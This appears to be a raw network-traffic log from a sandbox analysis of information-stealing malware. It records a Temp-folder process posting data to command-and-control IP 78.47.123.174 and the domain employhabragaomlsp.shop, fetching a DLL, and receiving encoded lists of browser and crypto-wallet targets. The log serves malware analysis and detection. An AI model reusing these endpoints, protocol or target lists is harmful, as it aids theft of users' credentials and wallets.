{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ds4QClBd7qchVYQGSJdmDnAVxYWvvr4NWz7xdvX1yP94R1DrrUZcLXN0nWXao7AUVO3qaHftBqu%2BdQM5cl%2BXa%2BkglzrbNbbBioSQnjokpGv8%2BxH4MVsy4v4kOLlz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba79a7a171899-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:26 UTC	419	IN	Data Raw: 31 39 63 0d 0a 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 79 6f 72 6b 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 5c 75 30 34 34 65 2d 5c 75 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 72 65 67 69 6f 6e 5f 75 61 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 Data Ascii: 19c{"ip":"8.46.123.175","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"New york","region_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","region_ua":"\u041d\u044
2024-05-24 07:43:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	50001	78.47.123.174	443	7400	C:\Users\user\AppData\Local\Temp\katC73D.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:26 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKFHJEBAAEBGDGDBFBG User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 07:43:26 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 36 33 38 39 34 32 30 30 64 35 38 35 31 63 36 38 31 33 63 39 61 65 39 63 31 63 32 65 37 65 31 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 32 64 30 36 31 38 33 30 34 61 38 38 64 36 34 37 36 62 63 35 35 64 33 33 63 32 33 64 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 47 0d 0a 43 6f 6e 74 Data Ascii: ------DBKFHJEBAAEBGDGDBFBGContent-Disposition: form-data; name="token"a63894200d5851c6813c9ae9c1c2e7e1------DBKFHJEBAAEBGDGDBFBGContent-Disposition: form-data; name="build_id"42d0618304a88d6476bc55d33c23d7e6------DBKFHJEBAAEBGDGDBFBGCont
2024-05-24 07:43:27 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:43:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 07:43:27 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	50002	78.47.123.174	443	7400	C:\Users\user\AppData\Local\Temp\katC73D.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:27 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHCGDGIEBKJKFHJJKFC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 07:43:27 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 36 33 38 39 34 32 30 30 64 35 38 35 31 63 36 38 31 33 63 39 61 65 39 63 31 63 32 65 37 65 31 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 32 64 30 36 31 38 33 30 34 61 38 38 64 36 34 37 36 62 63 35 35 64 33 33 63 32 33 64 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 Data Ascii: ------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="token"a63894200d5851c6813c9ae9c1c2e7e1------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="build_id"42d0618304a88d6476bc55d33c23d7e6------GDHCGDGIEBKJKFHJJKFCCont
2024-05-24 07:43:28 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:43:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 07:43:28 UTC	5605	IN	Data Raw: 31 35 64 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 15d8TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.4	50003	78.47.123.174	443	7400	C:\Users\user\AppData\Local\Temp\katC73D.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:29 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAFIIJDAAAAKFHIDAAA User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 07:43:29 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 36 33 38 39 34 32 30 30 64 35 38 35 31 63 36 38 31 33 63 39 61 65 39 63 31 63 32 65 37 65 31 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 32 64 30 36 31 38 33 30 34 61 38 38 64 36 34 37 36 62 63 35 35 64 33 33 63 32 33 64 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 0d 0a 43 6f 6e 74 Data Ascii: ------DAAFIIJDAAAAKFHIDAAAContent-Disposition: form-data; name="token"a63894200d5851c6813c9ae9c1c2e7e1------DAAFIIJDAAAAKFHIDAAAContent-Disposition: form-data; name="build_id"42d0618304a88d6476bc55d33c23d7e6------DAAFIIJDAAAAKFHIDAAACont
2024-05-24 07:43:30 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:43:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 07:43:30 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.4	50004	78.47.123.174	443	7400	C:\Users\user\AppData\Local\Temp\katC73D.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:30 UTC	279	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJKFBAFIDAEBFHJKJEB User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 6085 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 07:43:30 UTC	6085	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 36 33 38 39 34 32 30 30 64 35 38 35 31 63 36 38 31 33 63 39 61 65 39 63 31 63 32 65 37 65 31 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 32 64 30 36 31 38 33 30 34 61 38 38 64 36 34 37 36 62 63 35 35 64 33 33 63 32 33 64 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 Data Ascii: ------AKJKFBAFIDAEBFHJKJEBContent-Disposition: form-data; name="token"a63894200d5851c6813c9ae9c1c2e7e1------AKJKFBAFIDAEBFHJKJEBContent-Disposition: form-data; name="build_id"42d0618304a88d6476bc55d33c23d7e6------AKJKFBAFIDAEBFHJKJEBCont
2024-05-24 07:43:31 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:43:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 07:43:31 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.4	50005	78.47.123.174	443	7400	C:\Users\user\AppData\Local\Temp\katC73D.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:31 UTC	278	OUT	GET /sqls.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 If-Modified-Since: Sun, 19 May 2024 16:18:18 GMT If-None-Match: "664a264a-258600" Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 07:43:32 UTC	171	IN	HTTP/1.1 304 Not Modified Server: nginx Date: Fri, 24 May 2024 07:43:32 GMT Last-Modified: Sun, 19 May 2024 16:18:18 GMT Connection: close ETag: "664a264a-258600"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	50007	78.47.123.174	443	7400	C:\Users\user\AppData\Local\Temp\katC73D.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:32 UTC	279	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKFCAAKFBAEHJJJJDHIE User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 4677 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 07:43:32 UTC	4677	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 43 41 41 4b 46 42 41 45 48 4a 4a 4a 4a 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 36 33 38 39 34 32 30 30 64 35 38 35 31 63 36 38 31 33 63 39 61 65 39 63 31 63 32 65 37 65 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 41 41 4b 46 42 41 45 48 4a 4a 4a 4a 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 32 64 30 36 31 38 33 30 34 61 38 38 64 36 34 37 36 62 63 35 35 64 33 33 63 32 33 64 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 41 41 4b 46 42 41 45 48 4a 4a 4a 4a 44 48 49 45 0d 0a 43 6f 6e 74 Data Ascii: ------KKFCAAKFBAEHJJJJDHIEContent-Disposition: form-data; name="token"a63894200d5851c6813c9ae9c1c2e7e1------KKFCAAKFBAEHJJJJDHIEContent-Disposition: form-data; name="build_id"42d0618304a88d6476bc55d33c23d7e6------KKFCAAKFBAEHJJJJDHIECont
2024-05-24 07:43:33 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:43:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 07:43:33 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	50008	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:33 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: employhabragaomlsp.shop
2024-05-24 07:43:33 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-05-24 07:43:34 UTC	824	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ppqkneulairv9ht8au87cgch9g; expires=Tue, 17-Sep-2024 01:30:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IxWzxG0OxcbT6tZkBczo762%2B3ZD24lPuoes54dPINe%2BtjD8%2BOyOIzVF%2FytEqruSjj7WSgAsb%2F3vkdK4wXTTHc%2Bl7vFIKemCiBPEhOte5sjNcY%2F7QYt608BVlsWEzH%2Fik3R%2FG7KXH9QYUnA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba7cb3c0642ad-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:34 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-05-24 07:43:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
150	192.168.2.4	50010	78.47.123.174	443	7400	C:\Users\user\AppData\Local\Temp\katC73D.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:33 UTC	279	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDBFCGIIIJDBGCBGIDGI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 1529 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 07:43:33 UTC	1529	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 44 42 46 43 47 49 49 49 4a 44 42 47 43 42 47 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 36 33 38 39 34 32 30 30 64 35 38 35 31 63 36 38 31 33 63 39 61 65 39 63 31 63 32 65 37 65 31 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 43 47 49 49 49 4a 44 42 47 43 42 47 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 32 64 30 36 31 38 33 30 34 61 38 38 64 36 34 37 36 62 63 35 35 64 33 33 63 32 33 64 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 43 47 49 49 49 4a 44 42 47 43 42 47 49 44 47 49 0d 0a 43 6f 6e 74 Data Ascii: ------GDBFCGIIIJDBGCBGIDGIContent-Disposition: form-data; name="token"a63894200d5851c6813c9ae9c1c2e7e1------GDBFCGIIIJDBGCBGIDGIContent-Disposition: form-data; name="build_id"42d0618304a88d6476bc55d33c23d7e6------GDBFCGIIIJDBGCBGIDGICont
2024-05-24 07:43:34 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:43:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 07:43:34 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port
151	192.168.2.4	50011	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:34 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: employhabragaomlsp.shop
2024-05-24 07:43:34 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--&j=default
2024-05-24 07:43:35 UTC	818	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u6epcbtnnqa4msc1g7bk27sllg; expires=Tue, 17-Sep-2024 01:30:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PmE3L1IofMIYpsq57xx5oxAlNlSjo4LGYtNEvKdtd%2BF5tiSzocch%2BmtJ6NV81ON3sLgS%2B9ig9Pronm5j76V8%2FhP9bdiiTMSMDa%2FRgOUvg8nYHyl1Exc93vMXLCMQ4V%2BKXW3IbzMyz5zEvg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba7d37909c3ee-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:35 UTC	551	IN	Data Raw: 31 35 65 34 0d 0a 39 67 62 50 74 56 77 79 41 52 4b 53 45 74 59 51 6a 6f 37 57 6a 4d 4f 67 53 70 6c 46 69 4e 55 77 6a 67 5a 72 48 66 2b 45 4c 49 57 4e 44 4d 61 58 4b 68 41 37 4d 71 59 2b 33 42 6d 73 2f 62 4f 75 2b 59 41 2b 36 7a 44 74 2b 54 71 48 4a 41 70 35 33 62 34 4d 34 35 64 71 76 4e 42 77 4f 41 67 77 2f 32 72 30 4b 71 37 56 33 49 57 34 71 6b 4f 51 5a 2b 32 37 45 72 51 6d 53 57 71 61 35 6b 6e 39 67 6d 4f 68 78 6a 56 64 62 31 4c 2f 64 36 4a 78 34 2b 2b 6c 35 2b 33 4a 4a 62 74 70 67 74 77 35 72 47 4d 52 50 38 57 6b 44 73 69 54 63 71 37 34 50 55 46 71 4d 4c 34 59 33 78 6d 73 36 36 4b 75 2b 59 42 6f 78 57 66 34 74 45 4c 76 61 78 68 42 33 62 35 58 32 64 52 76 75 39 41 75 55 33 56 37 2f 58 79 6c 54 4b 79 30 34 4c 7a 7a 6b 48 71 70 4f 4b 72 66 4f 66 4d 4d 59 Data Ascii: 15e49gbPtVwyARKSEtYQjo7WjMOgSplFiNUwjgZrHf+ELIWNDMaXKhA7MqY+3Bms/bOu+YA+6zDt+TqHJAp53b4M45dqvNBwOAgw/2r0Kq7V3IW4qkOQZ+27ErQmSWqa5kn9gmOhxjVdb1L/d6Jx4++l5+3JJbtpgtw5rGMRP8WkDsiTcq74PUFqML4Y3xms66Ku+YBoxWf4tELvaxhB3b5X2dRvu9AuU3V7/XylTKy04LzzkHqpOKrfOfMMY
2024-05-24 07:43:35 UTC	1369	IN	Data Raw: 41 38 51 46 2f 61 4e 44 75 43 59 4a 50 57 56 66 6c 5a 74 63 66 31 77 70 6e 72 6e 35 37 48 38 71 73 73 6c 39 69 66 6e 76 56 33 76 5a 41 35 31 6c 2b 6c 45 34 35 6c 70 71 39 63 2b 45 43 30 59 6d 78 76 30 64 66 53 73 37 4b 7a 68 34 53 33 72 49 4f 61 68 45 4e 59 6b 59 52 53 43 71 43 57 6c 31 67 7a 47 7a 6c 59 37 43 44 44 33 66 50 51 71 72 71 79 38 36 36 4c 42 49 2f 51 6b 34 72 78 41 37 48 59 50 63 70 6a 30 53 4f 4b 61 62 71 37 46 4e 46 35 6c 63 2f 6c 37 76 58 66 72 36 50 53 67 79 61 6c 44 75 79 44 79 39 77 71 75 4a 43 68 79 6c 75 70 45 38 4a 51 6b 78 62 77 68 48 67 73 62 36 52 6a 66 47 61 7a 72 75 4b 37 35 67 47 6a 2f 4a 75 36 32 56 75 4a 71 44 58 4f 62 36 45 50 6f 6b 6d 36 74 30 44 52 59 61 33 48 39 65 37 74 79 36 65 47 77 36 4b 33 44 4c 62 74 70 67 74 77 35 Data Ascii: A8QF/aNDuCYJPWVflZtcf1wpnrn57H8qssl9ifnvV3vZA51l+lE45lpq9c+EC0Ymxv0dfSs7Kzh4S3rIOahENYkYRSCqCWl1gzGzlY7CDD3fPQqrqy866LBI/Qk4rxA7HYPcpj0SOKabq7FNF5lc/l7vXfr6PSgyalDuyDy9wquJChylupE8JQkxbwhHgsb6RjfGazruK75gGj/Ju62VuJqDXOb6EPokm6t0DRYa3H9e7ty6eGw6K3DLbtpgtw5
2024-05-24 07:43:35 UTC	1369	IN	Data Raw: 79 52 36 30 66 69 6d 33 61 6e 32 7a 39 43 5a 48 6e 35 65 72 56 38 34 2b 65 34 36 37 50 4a 4a 2f 4d 6f 36 37 70 66 35 32 41 4a 50 39 4f 4f 4a 59 7a 55 59 37 57 58 5a 68 49 6a 55 66 31 2f 70 6e 48 39 72 6f 48 74 72 38 77 76 37 57 65 43 33 45 32 69 44 47 4a 6d 39 59 30 6c 70 35 4e 6f 37 59 39 38 45 47 4a 38 2f 48 47 37 64 4f 62 6b 74 2b 2b 7a 79 79 66 7a 4b 4f 4f 32 55 65 68 6c 41 32 32 50 35 6b 4c 31 6d 47 36 72 32 44 4e 63 49 7a 36 59 47 39 38 79 36 2f 54 30 74 75 4f 43 41 76 67 7a 36 62 30 51 32 57 63 48 63 5a 72 77 44 6f 2f 2f 65 2b 4f 2f 56 55 6b 4c 47 35 73 77 73 33 36 73 74 50 61 75 72 4d 4d 67 2f 54 58 6c 75 6c 48 69 61 67 5a 36 6b 75 35 4f 35 35 6c 68 71 64 77 31 55 32 35 30 34 6e 71 30 65 75 6e 74 76 75 54 68 6a 